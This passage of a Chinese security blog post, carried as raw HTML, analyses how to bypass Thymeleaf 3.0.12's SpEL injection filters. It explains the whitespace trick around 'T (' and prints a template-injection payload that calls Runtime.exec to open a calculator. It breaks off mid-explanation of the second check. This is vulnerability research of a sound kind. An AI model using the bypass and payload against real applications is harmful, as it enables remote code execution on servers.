&#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;"></span></p></blockquote><h2 style="margin: 1.3em 0px 1em;padding: 0px;font-weight: bold;font-size: 1.4em;border-bottom: 1px solid rgb(238, 238, 238);">0x03 Thymeleaf SSTI Bypass</h2><p style="margin: 0px 0px 1.2em !important;">针对上文中的问题，Thymeleaf 实际上做了修复：<span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"></span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.60546875" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=50e9097f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmr2Y5Kr637wIR2BeJibXurjoFibUia9bRWtrliaWU0RF8Yt0sdxTibpwQicRBuGn8Ywfia0DK4OYrKtBYicKA%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin: 0px 0px 1.2em !important;"><br/></p><p style="margin: 0px 0px 1.2em !important;">在  <strong>3.0.12</strong> 版本，Thymeleaf 在 <code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">util</code>目录下增加了一个名为</p><p style="margin: 0px 0px 1.2em !important;"><code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">SpringStandardExpressionUtils.java</code>的文件：</p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.43125" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=8ee4daa0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmr2Y5Kr637wIR2BeJibXurjoKx0V7mVadO01DicDiare3UDLTFqAibSYW6EK7p9PGV39peiac9sfuJFgkg%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin: 0px 0px 1.2em !important;">在该文件中，就有说明：</p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.55390625" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=8872e585&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmr2Y5Kr637wIR2BeJibXurjoOUlcjneia0aDZLW6VnGGWWcB3TyzpGwyUcj50ulicgcZ8oC0ahXxeG2Q%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><br/></p><p style="margin: 0px 0px 1.2em !important;">当调用表达式的时候，会经过该函数的判断：</p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.4625" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=d36796a9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmr2Y5Kr637wIR2BeJibXurjoDXOjDylSrTwfiaiafzGIxC8h4thw4sycOibbFc4X7jUAUMetcSM6mibqibg%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin: 0px 0px 1.2em !important;"><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><br/></span></p><p style="margin: 0px 0px 1.2em !important;"><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">来看看该函数：</span><br/></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="java"><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">static</span> <span class="code-snippet__keyword">boolean</span> <span class="code-snippet__title">containsSpELInstantiationOrStatic</span><span class="code-snippet__params">(<span class="code-snippet__keyword">final</span> String expression)</span> </span>{</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">final</span> <span class="code-snippet__keyword">int</span> explen = expression.length();</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">int</span> n = explen;</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">int</span> ni = <span class="code-snippet__number">0</span>; <span class="code-snippet__comment">// index for computing position in the NEW_ARRAY</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">int</span> si = -<span class="code-snippet__number">1</span>;</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">char</span> c;</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">while</span> (n-- != <span class="code-snippet__number">0</span>) {</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            c = expression.charAt(n);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">if</span> (ni &lt; NEW_LEN</span></code><code><span class="code-snippet_outer">                    &amp;&amp; c == NEW_ARRAY[ni]</span></code><code><span class="code-snippet_outer">                    &amp;&amp; (ni &gt; <span class="code-snippet__number">0</span> || ((n + <span class="code-snippet__number">1</span> &lt; explen) &amp;&amp; Character.isWhitespace(expression.charAt(n + <span class="code-snippet__number">1</span>))))) {</span></code><code><span class="code-snippet_outer">                ni++;</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">if</span> (ni == NEW_LEN &amp;&amp; (n == <span class="code-snippet__number">0</span> || !Character.isJavaIdentifierPart(expression.charAt(n - <span class="code-snippet__number">1</span>)))) {</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">return</span> <span class="code-snippet__keyword">true</span>; <span class="code-snippet__comment">// we found an object instantiation</span></span></code><code><span class="code-snippet_outer">                }</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">continue</span>;</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">if</span> (ni &gt; <span class="code-snippet__number">0</span>) {</span></code><code><span class="code-snippet_outer">                n += ni;</span></code><code><span class="code-snippet_outer">                ni = <span class="code-snippet__number">0</span>;</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">if</span> (si &lt; n) {</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__comment">// This has to be restarted too</span></span></code><code><span class="code-snippet_outer">                    si = -<span class="code-snippet__number">1</span>;</span></code><code><span class="code-snippet_outer">                }</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">continue</span>;</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            ni = <span class="code-snippet__number">0</span>;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">if</span> (c == <span class="code-snippet__string">&#39;)&#39;</span>) {</span></code><code><span class="code-snippet_outer">                si = n;</span></code><code><span class="code-snippet_outer">            } <span class="code-snippet__keyword">else</span> <span class="code-snippet__keyword">if</span> (si &gt; n &amp;&amp; c == <span class="code-snippet__string">&#39;(&#39;</span></span></code><code><span class="code-snippet_outer">                        &amp;&amp; ((n - <span class="code-snippet__number">1</span> &gt;= <span class="code-snippet__number">0</span>) &amp;&amp; (expression.charAt(n - <span class="code-snippet__number">1</span>) == <span class="code-snippet__string">&#39;T&#39;</span>))</span></code><code><span class="code-snippet_outer">                        &amp;&amp; ((n - <span class="code-snippet__number">1</span> == <span class="code-snippet__number">0</span>) || !Character.isJavaIdentifierPart(expression.charAt(n - <span class="code-snippet__number">2</span>)))) {</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">return</span> <span class="code-snippet__keyword">true</span>;</span></code><code><span class="code-snippet_outer">            } <span class="code-snippet__keyword">else</span> <span class="code-snippet__keyword">if</span> (si &gt; n &amp;&amp; !(Character.isJavaIdentifierPart(c) || c == <span class="code-snippet__string">&#39;.&#39;</span>)) {</span></code><code><span class="code-snippet_outer">                si = -<span class="code-snippet__number">1</span>;</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> <span class="code-snippet__keyword">false</span>;</span></code><code><span class="code-snippet_outer">    }</span></code></pre></section><p><br/></p><p style="margin: 0px 0px 1.2em !important;">可以看到其主要逻辑是首先 倒序检测是否包含 <code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">wen</code>关键字、在<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">(</code>的左边的字符是否是<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">T</code>，如包含，那么认为找到了一个实例化对象，返回<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">true</code>，阻止该表达式的执行。</p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.2828125" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=0aaec32d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmr2Y5Kr637wIR2BeJibXurjo7lQn4s2uT3hrZcUlsKKvImFCMkX0hXum74bFsYe3OulIeFnt4JXaHw%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p style="margin: 0px 0px 1.2em !important;">因此要绕过这个函数，只要满足三点：<br/>1、表达式中不能含有关键字<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">new</code><br/>2、在<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">(</code>的左边的字符不能是<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">T</code><br/>3、不能在<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">T</code>和<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">(</code>中间添加的字符使得原表达式出现问题</p><p>三梦师傅给出的答案是<code style="margin-right: 0.15em;margin-left: 0.15em;padding-right: 0.3em;padding-left: 0.3em;font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">%20</code>(空格)，在我研究中发现其实还有<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin-right: 0.15em;margin-left: 0.15em;padding-right: 0.3em;padding-left: 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">%0a</code><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">(换行)、</span><code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin-right: 0.15em;margin-left: 0.15em;padding-right: 0.3em;padding-left: 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">%09</code><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">(制表符)，此外，通过 fuzzing 同样可以找到很多可以利用的字符：</span></p><p><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><br/></span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.653125" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=56fd6353&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmr2Y5Kr637wIR2BeJibXurjobvLVS9WbZFOzUanYYMvfp8XgsicUrbygIgXcB9ZTODiaIF7J9yP8Gmyg%2F640%3Fwx_fmt%3Dpng"/><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: justify;"></span></p><p><br/></p><p style="margin: 0px 0px 1.2em !important;">有兴趣的朋友可以自己测试还有哪些可以绕过</p><p style="margin: 0px 0px 1.2em !important;">需要注意的是，这种绕过方式针对的情景是当传入的路径名可控时，如：</p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.09375" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=dad75ac6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmr2Y5Kr637wIR2BeJibXurjoz3OVTX645ia37Cn3pno4D9f2Ow0NdFY6ykxxBzVH1KV32MHic17auUPg%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p style="margin: 0px 0px 1.2em !important;"><br/></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.4453125" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=92b16d58&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmr2Y5Kr637wIR2BeJibXurjoKZP4Tc8yjFbdCiacEbnqHw8cxfD2gwTqhMOqIZiaZv7Pb6Yg3oR7rapQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><br/></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.12430426716141002" data-s="300,640" style="" data-type="png" data-w="1078" src="https://wechat2rss.xlab.app/img-proxy/?k=85abb500&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmr2Y5Kr637wIR2BeJibXurjoEyKtdNWjibo1yMZnxwdsNVt2SbxatBCq8iaziaWVCiboFSwcDOZibKx08yA%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p style="margin: 0px 0px 1.2em !important;"><br/></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.47421875" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=e32c5b26&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmr2Y5Kr637wIR2BeJibXurjoHGEpCR8Mj2XeCYPPKiclS4me3lAaNjsv3KCibrXkLXBRaIpTtm7wYJIg%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin: 0px 0px 1.2em !important;"><br/></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.27253668763102723" data-s="300,640" style="" data-type="png" data-w="954" src="https://wechat2rss.xlab.app/img-proxy/?k=ddfc5df9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmr2Y5Kr637wIR2BeJibXurjokFnuytliaoYg2UAoCcEERw9TkdFV9icDg2vrMz3UGcKibCQk5SXBmricNg%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><br/></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.453125" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=7bccb06f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmr2Y5Kr637wIR2BeJibXurjoiavQ6V28GC85yCyaLmKeEDH6PsMXuIN724k99bNrQiaY6fF2QR7Yco8Q%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p style="margin: 0px 0px 1.2em !important;">这里有一个点需要注意，可以看到上面一个图片中 path 和返回的视图名不一样，path 为<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">/admin/*</code>，返回的视图名为<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">language/cn/*</code>，但当 path 和返回的视图名一样的时候，如下：</p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.29094827586206895" data-s="300,640" style="" data-type="png" data-w="928" src="https://wechat2rss.xlab.app/img-proxy/?k=9fb8040a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmr2Y5Kr637wIR2BeJibXurjovoNGfrNNicTPuJTwIWn4PRXds6434yulOSJL6cfsUJbzSeKjkic0RzCA%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p style="margin: 0px 0px 1.2em !important;">实际上上述payload 是没有用的</p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.45703125" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=0c930249&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmr2Y5Kr637wIR2BeJibXurjoUHaa6TIx9r6GiaNuMt34mSiaKw3zVGvibHPHwiciauN4oAOXPkmkgO2yD6A%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><br/></p><p style="margin: 0px 0px 1.2em !important;">为什么呢？</p><p style="margin: 0px 0px 1.2em !important;">实际上在 3.0.12 版本，除了加了<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">SpringStandardExpressionUtils.java</code>，同样还增加了 <code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">SpringRequestUtils.java</code>文件：</p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.4703125" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=0ca07e96&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmr2Y5Kr637wIR2BeJibXurjoZbmptRYBZsm7grclRhRy8pCE4gvh7r5CIhicfCQU96y1pX3CpuZ0ZJQ%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p style="margin: 0px 0px 1.2em !important;">并且看其描述：<span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"></span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.215625" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=bf855521&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmr2Y5Kr637wIR2BeJibXurjoGibtMWIC46SkywBvNTiaGIbefG97JCd87x7lUnWcW8hftzAHdxgfCc5A%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><br/></p><blockquote style="margin: 1.2em 0px;border-left: 4px solid rgb(221, 221, 221);padding: 0px 1em;color: rgb(119, 119, 119);quotes: none;"><p style="margin: 0px 0px 1.2em !important;">如果视图名称包含在 URL 的路径或参数中，请避免将视图名称作为片段表达式执行</p></blockquote><p style="margin: 0px 0px 1.2em !important;">意思就是如果视图的名字和 path 一致，那么就会经过<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">SpringRequestUtils.java</code>中的<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">checkViewNameNotInRequest</code>函数检测：</p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.61796875" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=f5c4f925&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmr2Y5Kr637wIR2BeJibXurjosfGdUlibPG5vib7cRjsN47qzQlgP78FyJUCDjn1xYHsbVZhbl0pnxr7A%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin: 0px 0px 1.2em !important;"><br/></p><p style="margin: 0px 0px 1.2em !important;">可以看到，如果<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">requestURI</code>不为空，并且不包含<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">vn</code>的值，即可进入判断，从而经过<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">checkViewNameNotInRequest</code>的“良民”认证。</p><p style="margin: 0px 0px 1.2em !important;">首先按照上文中的 Poc：</p><p style="margin: 0px 0px 1.2em !important;"><code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">__${T%20(java.lang.Runtime).getRuntime().exec(%22open%20-a%20calculator%22)}__::.x/</code></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.21484375" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=b2991e68&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmr2Y5Kr637wIR2BeJibXurjovkHjcLJSZypAVicWzbnlzfl255LgUzqhjyqG9TMtIaJRfD8mfbKzvPQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin: 0px 0px 1.2em !important;">我们可以得到 <code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">vn</code> 的值为</p><p style="margin: 0px 0px 1.2em !important;"><code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">home/__${t(java.lang.runtime).getruntime().exec(&#34;open-acalculator&#34;)}__::.x</code></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.48984375" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=d655d415&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmr2Y5Kr637wIR2BeJibXurjoGz15FRiatgdAA92w8c4V8IgZJFibCSMVwOicFibWwhvysxBuuZqODFMXbw%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin: 0px 0px 1.2em !important;"><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><br/></span></p><p style="margin: 0px 0px 1.2em !important;"><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">既然</span><code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin-right: 0.15em;margin-left: 0.15em;padding-right: 0.3em;padding-left: 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">vn</code><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">的值确定下来，那么接下来只要令</span><code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin-right: 0.15em;margin-left: 0.15em;padding-right: 0.3em;padding-left: 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">requestURI.contains(vn)</code><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, 